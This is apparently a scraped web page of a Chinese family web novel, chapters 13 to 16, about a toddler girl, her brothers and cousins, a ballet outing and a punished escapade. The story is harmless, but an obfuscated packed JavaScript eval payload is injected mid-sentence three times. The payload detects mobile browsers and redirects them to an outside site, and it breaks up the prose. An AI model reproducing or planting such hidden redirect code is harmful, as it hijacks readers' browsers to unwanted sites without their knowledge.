蒋熠还在为刚才她不和自己组队的事情伤心。 “不要以为你过来了我就会理你了。” 蒋婧对矛盾从来忘性大,这会注意力全在让他吃鱼上,声音软甜:“阿熠哥哥,这个好吃,你吃这个~” “好、好吧。”蒋熠吸了吸鼻子,吃了一口,立马开心道:“好吃!阿婧妹妹,你看我吃完了!你看我!我把你给我的鱼都吃光了!” 蒋婧嘟着嘴,疑惑地歪了歪头。 那厢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋怀谦跟着揪心,摸了摸她冒着薄汗的额头,安慰:“没事的,婧儿,你闭上眼睛,哥哥哄你睡觉,睡着了,就不难受了。” “嗯。” 看着妹妹熟睡的小脸,白日里的恐惧和蒋熠的话带来的刺痛感再次袭来。 巨大的恐慌和确认归属的渴望让他忍不住低声对着熟睡的妹妹倾诉:“婧儿,你是哥哥最亲最亲的人,哥哥永远都不会离开你。这里就是哥哥的家……” “你要快点好起来。”他低头亲了亲妹妹的唇,怜惜地抱住她。 凌晨2点,烧终于退了下去。程与英送了一口气,连忙去赶两个非要守着的小男孩。 “你们俩赶快睡觉,我把妹妹抱到我们房里睡。” “干....妈妈,就让妹妹在这里睡吧。”他声音压得很低,却字字清晰,带着一种小心翼翼的恳切望向程与英。 程与英震惊地捂住了嘴,瞬间落泪:“小谦,你.....” “我能照顾好她,真的能。”蒋怀谦眼神里那点期盼又坚定的光亮在灯下明明灭灭:“我也是这个家的一员。” 他如果不想失去妹妹,就不能失去这个身份。 程与英心底那根绷紧的弦无声地松动了,终于,她极轻地点了点头。她蹲下来轻轻环住蒋怀谦:“好孩子,好孩子,是妈妈最好的儿子。” 蒋怀谦侧着身子,用自己小小的臂弯围拢住妹妹,手掌一遍遍极轻地抚拍着妹妹的背脊。 程与英立在门边,静静凝视着这一幅画面,又忍不住有些感动地想要流泪了。 她低头克制了一下情绪,悄悄关上了门。 14. 第14章 碍于蒋婧也能跟上中班的管理模式,能听懂指令,遵守秩序,校方也就答应了让蒋婧跟着蒋澈蒋熠的班上。 在幼儿园里,他们需要学习简单的数学、语文和英语,还有一些其他科目的启蒙教学。 更多的,是一些兴趣爱好和运动类的体验。 为了能在一起,蒋婧和蒋熠蒋澈三个人选了完全一样的课,包括蒋澈想上的围棋、奥数,蒋熠喜欢的马术、网球、跆拳道,还有蒋婧选的唱歌和戏剧表演。 蒋熠在他俩选的课上都在浑水摸鱼,却又宁愿觉得无趣也要和他们一起。 若说最喜欢的,那一定是跆拳道。他和蒋婧组合练习的时候,如果用些力气,可以箍住她,心满意足地抱到她。 他觉得蒋婧身上软软香香的,就想一直抱着她,不过蒋婧从来不允就是了,他一抱她,她就气呼呼地要躲开。 然而这阶段男女宝宝的差异并不明显,蒋婧有时候牛劲儿上来了,也能把蒋熠制服得妥妥帖帖。 两个争强好胜的人凑到一块,往往打着打着就把老师教得抛在脑后,扭抱在一起瞎打闹。 蒋澈总会在两个人闹得不可开交的时候上前阻止,说道:“你们要是再这样打架,我们下学期就不选这个课了。” 两人遂歇战。 * 为了和老婆亲热,蒋源彻底做主同意了让蒋婧跟着哥哥睡。程与英对女儿反而有了分离焦虑,第一个不同意。讨论来讨论去,制定了,一三五和爸爸妈妈睡,二四六七和哥哥睡。 每天早上,蒋怀谦通常都会提前把自己收拾好,然后才抱着床上还昏昏欲睡的蒋婧到洗漱间,给她挤好牙膏,放好水杯,哄着她帮她刷牙。 洗漱好,蒋怀谦又仔细地给她扎好两个小辫子,让她挑出喜欢的发饰戴上。 直到被抱到楼下的餐桌上,蒋婧才会懵懵地慢慢转醒。 蒋源和程与英依次亲了亲她,互道早安。 蒋婧多半吃饭也不安分,直接跳下用餐椅,爬上蒋怀谦的怀里。 两岁半的孩子,正是长牙的年纪,还要吃些容易咀嚼消化的辅食。偏生,蒋婧还是个不喜欢吃饭的孩子,家里厨师是换着法的做些外观精美可爱的卡通面点和摆盘,才能哄得她多吃几口。 用完早餐,蒋彬家的车已经载着双胞胎两兄弟到了门口,隔着老远就能听到蒋熠中气十足地喊道:“蒋婧!你怎么还不出来!你是蜗牛吗?!” 蒋婧趴在蒋怀谦身上,不高兴地撇撇嘴,眼里水汽氤氲地告状:“哥哥,蒋熠老是说我。” 蒋怀谦安抚地摸了摸她的背,抱着她放进儿童座椅上,扣好安全带又认真检查了一遍。 见没有安全疏漏,他这才转过头对一边的蒋熠说道:“阿熠,不准对婧儿说不礼貌的话,下次我再听到婧儿说你欺负她,我会让你的赛车模型全部报废。” 蒋婧在他旁边扯了扯他的衣袖,小手拢在他耳朵边说道:“哥哥,你认错人了,他是阿澈哥哥。” 蒋怀谦皱眉,来回打量了片刻两个打扮和长相都一模一样的小男孩,实在分不清谁是弟弟谁是哥哥。 “算了,不影响,总之你们俩,在学校不准欺负婧儿,知道吗?” 蒋熠不满地瞪了他一眼:“我们才不会欺负她,在学校都是我们在保护她!” 蒋怀谦不再把注意力放在两双胞胎上,而是低头不舍地亲了亲蒋婧,捏了捏她肉嘟嘟的脸蛋,温声道:“宝宝乖,在学校有什么不舒服的立马和老师说,哥哥晚上放学就来接你。哥哥今天会一直想你,你也要记得想哥哥。” 蒋婧也不舍抱着他的手臂晃了晃,乖巧地在他凑脸过来的时候蹭上去吧唧了一口,说:“好!我会想你的哥哥!” 车门被关上,司机缓缓起步。 蒋熠揪了揪她的辫子,又去捏她的脸。 蒋婧被他弄的很烦,不高兴地瞪他:“你干什么老是弄我!” “你亲我一口,或者我亲你一口,我就不弄你了!” “我才不亲你,你很讨厌!蒋熠!”蒋婧抱住了一边蒋澈的手,对蒋熠避如蛇蝎。 谁知那一天,蒋熠像是吃错药似的,动不动就要掐她的脸一下,戳一下她的腰,捏一下她的胳膊。 蒋熠精力充沛,最讨厌睡午觉,别的小朋友都在呼呼大睡的时候,他就一个人玩玩具,这下蒋婧来了,他就不玩玩具了,对她哪哪都好奇地又摸又捏,最后干脆一个把她抱住。 蒋婧被热得满头是汗,睡得迷迷糊糊的时候睁眼,一巴掌拍在蒋熠脸上,嘟囔道:“好热,你走开!” 蒋熠却不动,抱着软乎乎的小人儿,也奶着声音说道:“妹妹,你好软啊,你还香香的。” 蒋婧午觉睡不安稳,起床气被激起来了,直接撒开了哭。 蒋澈没有经验,瞪了一眼弟弟,手忙脚乱地哄,没哄住,最后还是老师过来把她抱起来摇摇拍拍了好一会儿,才让人情绪放松下来,慢慢又睡着。 老师把蒋婧抱回小木床上,压低声音对蒋澈说:“蒋熠,不许调皮了,让妹妹好好睡午觉,你也快睡。” 蒋熠和蒋澈都已经习惯老师分不清他们俩,都点点头,乖乖躺下。 蒋澈学着老师的样子轻轻拍着蒋婧的背,悄悄地在蒋熠耳朵边说道:“弟弟,你不能这样欺负妹妹,你喜欢她就要对她好。” 蒋熠不高兴地瘪嘴,说道:“她都不像黏你和怀谦哥哥那样黏我,我不找她玩,她就不找我玩。” 蒋澈一时无言,心里暗道:你自己有多讨嫌心里没点数吗.... * 日子安然无虞地过去,秋冬换季的那阵子,程与英的发小洛嘉送了几张芭蕾舞剧的票给他们一家。 洛嘉是现任国家芭蕾舞团的首席主演,家里和程家有交情,小时候一来二去的成为了关系很好的闺蜜。长大后都定居北城,时不时都会约出来见一见。 这一次是团里新组建的卡司首演,她担任女主角,特意给她留了票。 家里两个小男孩要去上击剑课,蒋源又有应酬,程与英便决定独自带蒋婧去看舞剧。 她特意给小女儿穿上白色公主裙,那裙摆很蓬松,几乎要将她小小的身子吞没,只露出一双穿着白色蕾丝短袜和软底小皮鞋的胖乎乎脚丫。 裙子上缀着细小的珍珠和闪粉,随着她任何一点微小的动作,便折射出细碎星光。 蒋婧开心地扭着腰,转着圈,让裙子上的亮晶晶不停地闪烁。 “妈妈,这个裙纸会发光耶!” 程与英尤为满意地拍了照,亲亲她:“对啊,会发光,婧儿穿上可漂亮了,就像一个小精灵!” 抵达剧场,蒋婧小小一只坐在座椅上,那双湿漉漉的大眼睛,懵懂又带着点小委屈地打量着这个对她来说突然变得有点“隆重”的世界。天然的婴儿肥让她的脸颊鼓鼓囊囊,嘴角自然带着点无辜的嘟起。 程与英是越看越喜欢,又和她在剧场座位上自拍了好多张。 她编辑好,在候场间隙小声哼着歌发了一条朋友圈:“第一次带婧婧小公主来看舞剧!崽子太乖了,我告诉她在公共场合要保持安静,进场后这小丫头就一直屏息凝神,不说话,和我交流都是用眼神和自创的手语了哈哈哈。看得老母亲我哈特软软。” 蒋婧皱着眉头,盯着妈妈,想说话又不敢说,用眼神询问她怎么了。 “宝宝,你可以凑近到妈妈耳朵悄悄说话。而且,妈妈是让你安静,不是让你不呼吸。” 她立马大大地吐了一口气,爬过来贴住妈妈的耳朵:“妈妈,我们什么时候回家?回家之前,我们先去买一个冰淇淋可以不可以?” 程与英捏捏她的小鼻子,说到:“可以。要是婧儿看了觉得无聊,你就靠着妈妈睡觉,好不好?” “好~但是我不会睡的,因为我要陪妈妈。” 程与英心下一暖。女儿不愧是小棉袄。 出乎意料的,蒋婧推翻了程与英以为小孩子应该很难集中注意力看完一场舞剧的先入为主的想法。她全程都眨着双葡萄似的眼睛乌亮清澈的眼睛,津津有味地看着台上的表演,连呼吸都变得轻浅起来。 结束了观看,程与英抱着她离场,按照约定带她去剧场外的冰淇淋店买了一个小甜筒。 蒋婧捧着甜筒忙碌地吃着,脑袋里还在回味刚刚看到的景象。 等程与英付完钱,她急切地、用力地抓住妈妈的裙襟,小手指因为激动而微微颤抖。 蒋婧仰起小脸,用期待的奶音一字一顿地询问:“妈妈!我可以跳刚刚那个吗!” 她的小手指着剧场的方向,仿佛那神奇的景象还在那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋婧摇摇头,面上还是易碎品般的、怯生生的乖巧。 洛嘉笑着轻叹口气,继续教她做动作。 一个小时的体验课很快就结束了。下课之后,程与英必然是要请人吃饭的,驱车载了两人去了一家主打高端健康的素食餐厅。 “你家这小丫头是不是性格有点内向?”吃饭的时候,洛嘉随口问起。 “好像是有点,天生性子乖静,特别好带,但是这会儿慢慢长大了些,确实是挺怕生的。” “不过小孩子的世界和大人的世界总归是不一样的,他们会害怕、胆怯,都是可以理解的。” “是啊,我后面打算带着她,多接触接触人,说不定会慢慢不那么怕生。”程与英摸摸女儿的后脑勺,看向她的眼里都是浓浓的爱意。 蒋婧正在不甘不愿扒着勺子吃烩饭,看似动作不停,实际没往嘴巴里塞多少。 程与英轻轻拍拍她,有些严词道:“就一小碗饭,必须吃完哦。” 以往小丫头都是会回嘴的,这会儿因为有生人,还是教自己跳舞的老师,于是忍气吞声地点了点圆溜溜的脑袋。 她小手握住勺子,脸蛋几乎与碗持平,眨巴着一双水灵的眼睛,偷偷盯着洛嘉看。 洛嘉:“想看我就大大方方地看呗,洛老师是不是还挺好看的?” 蒋婧憨态可掬地点点头,把洛嘉逗笑了。 “哎呀这小宝贝,实在太可爱了!” “你别说,你这闺女是颜值真的高,长大后绝对是个大美人。” “我闺女,那必须是大美人!” 洛嘉给蒋婧夹了一块手工素饺,问她:“小婧婧,今天上了芭蕾课,感觉怎么样?后面还想学吗?” “想学。” 程与英鼓舞:“婧儿真棒!” “那成,我回头帮你给她报上名,让教务老师联系你,给你发课程表,你到时候带着她过去就行。” “至于芭蕾舞的那些配套装备,我给小宝贝买,就当时是送给蒋婧的见面礼了。” “给我女儿的,那我可不客气的。” 两人说说笑笑间,敲定了蒋婧的第一个兴趣班。 15. 第15章 蒋婧过完三岁生日没几天,就迎来了寒假。孩子们就全部被爷爷奶奶要求接回主宅里去带着,一直到春节大人们休假。 四个大孩子除了要完成暑假的课业,还要各自去参加数不清的培训。 老三家的双胞胎和蒋婧年龄都还小,但也不允许他们过分地玩乐。 蒋婧除去每天的芭蕾课,还有家庭教师外语和数学、爷爷亲自上阵辅导国学和书法。 每周天,蒋礼雄都会要求孙辈们来到蒋宅,在书堂里练一早上的书法。 一般而言,蒋婧都会坐在蒋礼雄怀里,由他带着一笔一划地教。他们剩下的几个孙子则是在主桌下的六张檀木书桌前练习。 蒋礼雄料想孙女年龄小,坐不住,对她的要求也只是先引导、启蒙。 不曾想这小丫头是个性子能沉下来的,哪怕握着她的手教了快一小时,也未见她耐不住枯燥。 他心下欣慰,对孙女愈发疼爱。 “婧丫手酸不酸?要不要休息一会儿?” 蒋婧摇摇头,继续握着笔在纸上画横。 蒋礼雄给她加了坐垫,让她够到桌子上,自己练习。他起身迈步下去,巡视孙子们的练字情况。 他一眼扫射过去,就看到坐相散漫的蒋熠,声色俱厉地批评道:“阿熠,习书之时,须坐姿端正,不可颓然歪斜。罚你待会不准休息,多练半小时。” 爷爷的威严贯来肃重,不敢造次。蒋熠敛下眉目,闻言乖乖坐好,不再钻爷爷教蒋婧的空档神游天外。 蒋礼雄走近看了眼蒋熠的字,在心里叹了口气。 性急好动,心浮气躁,须得再磨。 又扭头看了眼蒋澈,弯腰在一边示范了一个字,说道:“阿澈相较上周有进步,但这平捺写的还是不够精道,再多钻研钻研。” 蒋澈颔首,埋头继续练习。 蒋向恒同蒋熠一样,也是个对习字不甚上心的。被压着学了这么多年,虽也是像模像样,但没有用心耗费时间沉积的功力,看第二眼就俗套了。 蒋斐轩的字老老实实,规矩,但反而显得拘谨,没有灵性。 至于蒋怀谦的字,笔画扎实,遵循原贴,不跳脱,倒是如他这个人一般,严谨工整,有可读性。 最能让他满意的还是大长孙蒋斯辰,练了这么多年,已然有了自己别致的风格,笔势险峻,锋芒毕露,气势咄咄逼人,展现出一股锐利而不阻挡的力量感。 蒋礼雄一一看过,一一指点,一圈下来又是一小时过去了。 回到主桌时,蒋婧正睁大了眼睛盯着他看,指了指自己的字,奶声奶气地说道:“爷爷,还有我的!” 他原本肃穆的面容再难绷着,柔和了表情过来,夸奖地揉了揉她的小脑袋,说道:“婧丫可是最棒的小宝贝,写的这个横虽然朴拙稚嫩,但是却别有一番纯真质朴的气息,假以时日,一定会写得越发流畅精进。” 蒋婧听不太懂,但不妨碍她知道爷爷在夸她,点了点头,给自己竖起了大拇指。 * 大宅里府邸与园林相邻,占地面积极广,府邸器宇轩昂、明廊通脊;园林曲廊亭榭、富丽天然,其间景致,开合有致。 而在内部装潢中,又是最新的现代化配置。家庭影院、各类运动场、酒窖车库、温泉汤池……样样齐全而豪横奢华。 对大人来说,是古朴典雅的家族居住地,而对于孩童来说,则是尤为丰富的游乐园。 家政服务团队除了一些核心人员,都放春假回家了。按照蒋礼雄定的规矩,除夕当天,虽然仍有厨师、管家们一旁助力,但重在维持家族凝聚力和团圆气氛,阖家需得都参与进来,准备春节。 大人们如此,孩子们也被抓起来干活。蒋斯承、蒋怀谦帮着父辈打扫庭院、挂灯笼,又跟着到祠堂摆放牌位、祖先画像,布置供桌,摆放丰盛的供品、香炉烛台。 蒋斐轩跟着妈妈从蓉在正厅、堂屋摆放布置寓意吉祥的水仙、腊梅、佛手、金桔盆景等年宵花卉,又铺上崭新的桌围椅披,更换应景的窗帘、靠垫。 三小只和蒋向恒则被分配给蒋焰带着去贴窗花、福字和对联。 蒋澈和蒋向恒的任务是象征着“除晦”的清洁,蒋婧和蒋熠抹浆糊,二伯蒋焰是贴对联的主事者。 气度非凡的正门门庭,门楣正上方,高悬着巨大的匾额,书写的“蒋宅”四个鎏金大字。蒋焰净手焚香后,在管家和儿子的搭手下,踩着梯子上去贴大门的对联。 为了低调行事,避免过分张扬,正门前和东侧留出开阔的庭落和行车通行道,用围墙藏拙。行车入口从外面看,不过是平平无奇的一道铁门。 蒋婧和蒋熠、蒋澈玩着你追我赶的游戏,全然把该干的事抛之脑后。三个人跑过前庭,绕过聚气凝神的影壁墙,看到了临街的铁艺大门。 趴在门上去听到外面的车声,蒋婧问:“阿澈哥哥,你知道外面是哪里吗?” 蒋澈“我记得,从这里出去,外面是一条大街,转过去是一条有很多店的街。” 蒋熠使劲儿推了推,推不开,提议道:“我们让二伯帮我们打开,我们出去买烤肠怎么样?你们想不想吃烤肠!” 蒋婧举手积极响应:“想!” “不用问二伯,我偷偷看过大人们开门,要进到这个小房子里。”二人跟着蒋澈进去,看他摁下一个按钮,电动大门便徐徐打开。 蒋婧“哇”了一声:“阿澈哥哥你好厉害!” 蒋澈暗爽,满意地弯起嘴角,牵着妹妹往外面走,还不忘对弟弟说道:“你最后出来,把门关上,别被他们发现了。” 蒋熠动作迅速地溜出来,把门掩上,跟上了牵住妹妹另一只手。 三个人大摇大摆,在蒋澈这个活导航的带领下,走了三四百米,来到了行人往来的步行巷。 蒋婧和蒋熠新奇地左看看右看看,激情讨论着每一家店卖的是什么东西。 蒋澈见他们俩就黏在店门口蹲下看别人捏小面人了,连忙说道:“我们得往下走走看,我们的目标是烤肠!这个不能吃的。” 两人听令,目光依依不舍地从活灵活现的一排面人上离开,又一路手牵手往前走。 另一边,发现三个崽子偷溜出去的大人已经急疯 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蒋澈立马拒绝,警惕地牵了妹妹的手,踢了一脚还在吃最后一口的弟弟,匆忙走开。 蒋婧扯扯蒋澈的衣袖,抬头说道:“阿澈哥哥,我们可不可以买一点东西给爷爷奶奶大伯大伯母二伯三伯三伯母我的爸爸妈妈,还有斯承哥哥、我的哥哥、向恒哥哥、斐轩哥哥!” 蒋熠:“我头都给你说晕了!” 蒋澈问:“可以,我们买什么?” 她指了指已经早早瞄好的糖葫芦店:“买那个棒棒糖好不好?我们要买一二三四五....” 蒋婧还在困难地掰着手指头数有几个人,蒋澈已经牵着她过去,朝商家说道:“你好,要16串糖葫芦。” “阿熠哥哥,你好厉害啊!” 蒋澈嘴角再也压不住,伸出手腕熟练地扫码付款,然后拍拍她的头说道:“我还有其他更厉害的呢,以后我再告诉你。” 一边,瘫坐在客椅上的蒋熠倏忽弹射起来,惊讶地喊:“二伯!你怎么找到我们的!” 三个萝卜头同步上扬,蒋焰高大的影子像山一样压下来,阴沉的脸色显示出无声的威压。 “谁准你们仨自己偷偷跑出来的?”二伯突然开口,声音低沉得像是从地底深处挤出来。 三个人皆是惊恐地看着他,像是哑巴了一样,一时谁也没敢说话。 蒋婧贴近了蒋澈,眼睛里迅速蓄满了泪水,却慑于二伯身上可怕的气氛,不敢放声哭出来。 空气中出现几秒钟的沉默的对峙,店里的其他客人好奇地看过来。 蒋焰望向无声掉眼泪的小侄女,紧绷的脸部线条瞬间有了微不可察的松动。 须臾,他重重叹了口气,蹲下来抱起小侄女,带着一种生涩的温柔,手掌轻轻落在了蒋婧因憋着抽泣声而微微起伏的小小脊背上,缓慢地拍抚了几下。 “好了,别哭,二伯没有要凶你的意思,二伯凶的是两个不听话的哥哥。” 他单手抱着蒋婧,拎过服务员打包好的东西,看了眼两个侄子,带了些严厉的冷意说道:“跟上,回家。” 16. 第16章 “说吧,是谁的主意?”正堂屋大厅里,蒋礼雄抱着孙女,坐在主座上沉沉发话。 底下并排站好的两个小孩都噤声垂首。 好一会儿,蒋澈才鼓足了勇气站出来说道:“爷爷,是我带着弟弟妹妹出去的,都是我的错。” “自己说说,错在哪?” 蒋澈抬头看了眼爷爷,屏气说道:“不和大人说就自己偷偷出门。” 蒋礼雄嘴角若有若无地向下牵动一下,明明面容平静,但周身的威严气场却让周遭的空气都变得沉甸甸的。 蒋婧也敏感地察觉到了气氛的不对劲,坐在爷爷怀里紧抓着他的衣服,除了眨眨眼睛,整个人静止下来,一动不敢动。 蒋礼雄搂紧了些孙女,安抚地拍拍她的小胳膊肘。 “那你再说说,自己偷跑出门会有什么后果?” 蒋澈继续反省:“会有坏人来把我们掳走。” “成,你自个儿知错就行,爷爷罚打10个手掌心,你认不认?” 蒋澈是头一次被罚,鲜少哭泣的孩子此回哽咽了声音,憋着泪害怕地走到了爷爷面前,伸出手掌。 蒋礼雄示意管家代劳,管家拿着戒尺,收着劲儿,没敢多用力地在蒋澈的手心打了两下。 蒋澈泪意尽数散去,倒是反应过来的蒋熠和蒋婧瞬间哭了个震天响。 蒋婧泪珠一颗接一颗滚落下来,呜呜咽咽地问:“爷爷,为什么要打阿澈哥哥?不打好不好…” 蒋熠奔过来夺了管家伯伯手里的戒尺,哐当一声砸到地上,恶狠狠地喊道:“不准打我哥!” 惹得常蕙眉心一跳,她连忙起身过来拉他:“阿熠!你干什么?过来!” 他对抗着妈妈拉扯的力道,哭的撕心裂肺:“我不!不准打我哥!是我想吃烤肠,才让哥带我们出去的!你要打就打我吧,打死我算了!” “我们又没有被坏人抓走,为什么还要打我哥!” “你们打小孩是犯法的!早知道我还不如走丢呢!我不要在这个家了!” 蒋澈的内心有些感动,但又有些汗颜,他拉了拉弟弟,用很小的耳语提示:“阿熠,这打的又不疼,别说了!” 再说就更难收场了。 果然,坐在一边的蒋彬气得头疼,来回踱了两步,猛地上前拾起戒尺,对蒋熠说道:“现在是春假,外面人又多,你俩还带着妹妹出去乱跑,到时候被人贩子什么的带走,你让爸爸妈妈上哪寻你们去,啊?你是存心要让家里人急死是不是?” “你以为走丢了是什么好玩的事吗?你有没有想过,要是走丢了,爸爸妈妈这一辈子可能就再也见不到你们了!” 蒋彬直接抓了蒋熠的手掌心,抬手就是一打,口中怒火不降:“还敢说‘早知道不如走丢’,我看你是一点都意识不到问题的严重性!打!你和哥哥一人10下!看你们下次还敢不敢乱跑!” 亲爹下手还是太狠了些,比起管家的动作,啪啪啪的打手心声尤为响亮。 一边的大人又开始连连相劝。 蒋源:“得了得了,三哥,小孩子嘛,之前没这个意识,这会知道了就行,意思意思就可以了。” 奶奶也搂过蒋熠给他揉揉手心,给他递台阶:“阿熠,快和爸爸认个错,下次可不能再乱跑了。” 蒋熠犟着,这回儿知道错了也拉不下面子来说,闷着声不说话,只是一个劲儿抽泣。 蒋澈认错的态度很端正,受了那十下后,立马说道:“对不起,爸爸。我们知道错了,阿熠也知道了,我们下次不会再乱跑了。” 蒋彬胸口上下起伏着,缓了缓,摆摆手:“真的是!我是要被这倔驴气死!” 蒋婧如临大敌似的,从爷爷腿上爬下来,小跑到二伯旁边的桌子上扯下那一袋子糖葫芦,屁颠屁颠地又跑回到蒋彬面前,费力地举起那一袋糖葫芦,眼泪汪汪地哭着说道:“三伯,给你吃棒棒糖,你别打阿熠哥哥和阿澈哥哥了,好不好?” 这一下给蒋彬整呆愣住了。 他轻摇了两下头,蹲下来给小侄女擦眼泪,方才的怒火一点点退去。 “你别哭了,小宝贝儿,这眼泪流的,三伯都跟着难过了。” “这次没经验,以后三伯就会了。下次三伯收拾他俩不让咱阿婧宝宝看到,把你吓到了是不是?” 环胸而坐的程与英默默地吐了口气。 蒋婧拿出一个糖葫芦递给蒋彬,又一路顺着发给了在座的人每人一根,双手拎着空掉的塑料袋站在中间仰着头,软软糯糯地问:“你们大人吃了我们小人买的棒棒糖,可以不生气了吗?” 蒋焰出来解释:“阿澈说的,小婧心里还想着给家里人买点带回去,央他付钱买的糖葫芦。” 奶奶笑的一脸慈爱,张开手臂:“是个好孩子嘛,过来给奶奶抱抱。” 蒋婧一手牵了蒋熠,一手牵了蒋澈,拉着跑过去一起拥进了奶奶的怀里。 “哎唷,都是奶奶的好孩子,以后可不兴再乱跑了,这回可得长记性了,记住了吗?” 三小只不约而同地点点头。 见孩子也该长教训了,蒋礼雄出来调停:“行了,骂也骂了,罚也罚了,这事儿就到此为止吧。都处理一下情绪,大过节的,等会开饭了。” 蒋礼雄抱过孙女,在怀里颠了颠,又亲亲她:“婧丫头,饿了没有?中午有你喜欢吃的糖醋里脊,期待不期待?” “期待!” 他抱着孙女准备去餐厅,被程与英拦下:“爸,她出门一趟衣服都坐脏了,我先带她去换件干净的。” 蒋礼雄不疑有他,把孙女递给她母亲,摇摇蒋婧的手:“等会过来和爷爷坐一起好不好?” 蒋婧乖巧地应答:“好!爷爷你等着我起。” * 四房的院落里,蒋源和儿子在木椅上坐下,倒了杯茶等着母女俩,留心听着里面的动静。 东厢房内,程与英给女儿换上新的喜气洋洋的新中式小夹袄裙,重新给她梳好弄乱的头发。 一切都在沉默中进行着,完全不是以往妈妈给自己穿衣服时,一边穿一边从头夸到尾的氛围。 蒋婧悄悄地察言观色,有些不知所措地眨着双水灵灵的大眼睛一直盯她。 “妈妈,你好吗?” “很好。” “妈妈,你吃糖果不吃?”她上交出私藏在秋裤口袋的大白兔奶糖。 “不吃。” 但那颗糖被妈妈顺手没收了。 “妈妈,我穿这个会好看吗?” “会。” “妈妈,你抱我一下!” 程与英抹开了她伸出的双手,面色沉沉地看着她,一言不发。 蒋婧彻底慌了,晶莹的泪花映着她的眼睛愈发澄澈如珠如星,泪珠晶莹,大颗大颗望粉嫩的脸颊上掉。哭声不尖锐,却委屈无助地宛如一只被遗落的初生小猫。 “妈妈,抱抱呀....” “你先站好。”程与英还是没抱她,让她站在床榻上,语气严厉地说道:“蒋婧,当着其他伯伯婶婶还有爷爷奶奶的面,妈妈不指责你,但是你必须明白你今天犯的错。妈妈说的这些话,你能不能听懂?” 她呜咽着点头,断断续续地抽噎着。 “妈妈问你,今天早上是不是你央求哥哥们带你出去的?” 她撇着小嘴,不住地颤动,一边哭一边摇头,极度委屈地出声:“我不记得了,真的不记得了。” “仔细想想,到底有没有?” 打从她记事起,爸爸妈妈从来都是和颜悦色、爱意满满的,第一次见到这样言辞令色的妈妈,蒋婧整个人崩溃地哭得天花乱坠,害怕但很努力地跟上妈妈的思绪:“没有...有....” “到底是有还是没有?” “有...” “好,那你等会去给阿澈哥哥和阿熠哥哥道歉,因为是他们帮你承担了错误,这是你今天第一个错误,能不能听懂?” 蒋婧含泪点头。 “第二个错误,妈妈是不是教过你,小朋友没有大人陪着,不可以出门。那你今天和哥哥们偷跑出门了,有没有意识到自己的错误了?” 她点头。 “那你伸手。” 蒋婧伸出手,由着程与英用手拍了三下。 “疼不疼?” “手上不疼,心里疼。” “疼才能长教训,你知道你偷跑出去那20分钟,妈妈有多担心吗?那是妈妈有生以来觉得最黑暗的20分钟!” 程与英不禁扬了扬声音,眼眶也红了。 门外父子俩闻声立马冲了进来。 见到床榻上大哭的闺女和背过身去抹眼泪的妻子,蒋源心里一紧,上去抱住一大一小。 “怎么了,怎么两个人都哭了?” “你别哄她了,今天必须得让她知道自己哪里做错了。”程与英转过来,对着又搂着蒋婧安抚的丈夫说道。 “她才三岁,没必要这么严厉,告诉她,她下次就知道了,不会再犯了。” “你自己说说,三个孩子都犯了错,家里人就只拿着两个男孩子教导,那等以后蒋婧大一些,是不是就以为什么错都可以哥哥们来扛?必须得让她知道,她自己也有错!” 蒋源听女儿的哭声听得心都快碎了,说道:“不哭了不哭了,你听到妈妈说的话了没有?” “听到了呜呜呜”蒋婧胡乱地揉着眼睛,把泪水搅成一团湿漉漉的乱麻,沾抹在脸颊上。 程与英知道这会儿有了靠山,再教她也听不下去了,叹了口气说道:“行了,我不说了。你给她擦把脸,我带着小谦先过去了。” 蒋源左右难哄,只能先抱了女儿,稍后再去哄老婆。 擦干净脸,蒋婧趴在他肩上,小鼻子还一吸一吸的,如同风雨后渐歇的尾声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189334|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “爸爸,妈妈是不是很生气?她是不是不会再理我了?”说着说着她又一脸悲痛地要哭。 蒋源抚摸着她的背,温柔地说道:“不会的,妈妈可不舍得不理你。你早上偷溜出去,妈妈都吓哭了,这会儿生你的气是合情合理的,等一会儿就好了。你得好好吸取教训,下次可不能再做这么危险的事情让爸爸妈妈担心了。” “等一会儿是几会儿?” 蒋源笑:“我也不知道,这个得看妈妈心情。” 蒋婧搂住爸爸的脖子,带着浓重的鼻音说道:“我不会了爸爸,我知道错了。” “嗯,知道错了就好,没事了宝宝。” * 午饭开宴,蒋婧坐在儿童椅上,哭过后的小脸蛋被抹眼泪的动作搓的红红的,眼眶也红红的,整个人像一株被急雨打蔫了的初生草芽,透着一股耗尽了力气的疲倦。 蒋礼雄瞧着,心里疼惜,悄声问她:“乖宝儿,怎么哭得这么惨,眼睛红成这样?你告诉爷爷,是不是妈妈骂你把你弄哭了?爷爷给你做主!” 蒋婧蔫蔫地摇摇头,端起他面前的酒杯,有气无力地说道:“爷爷你喝酒,大人不喝酒没营养。” 一边的宋玉春听了噗嗤一笑,给她添了碗浓汤,说道:“好了,孩子累了,你让她好好吃饭,等会去睡个午觉,休息休息,晚上我们吃完年夜饭,一起到院子里玩游戏,让婧丫高兴高兴,好不好?” 蒋婧朝奶奶点头,乖巧地答“好”。 吃完饭,蒋婧记着妈妈的话,再三踟蹰后,去追饭后散步的三伯。 蒋彬牵着她,沿着后院的园林小径慢悠悠地走。 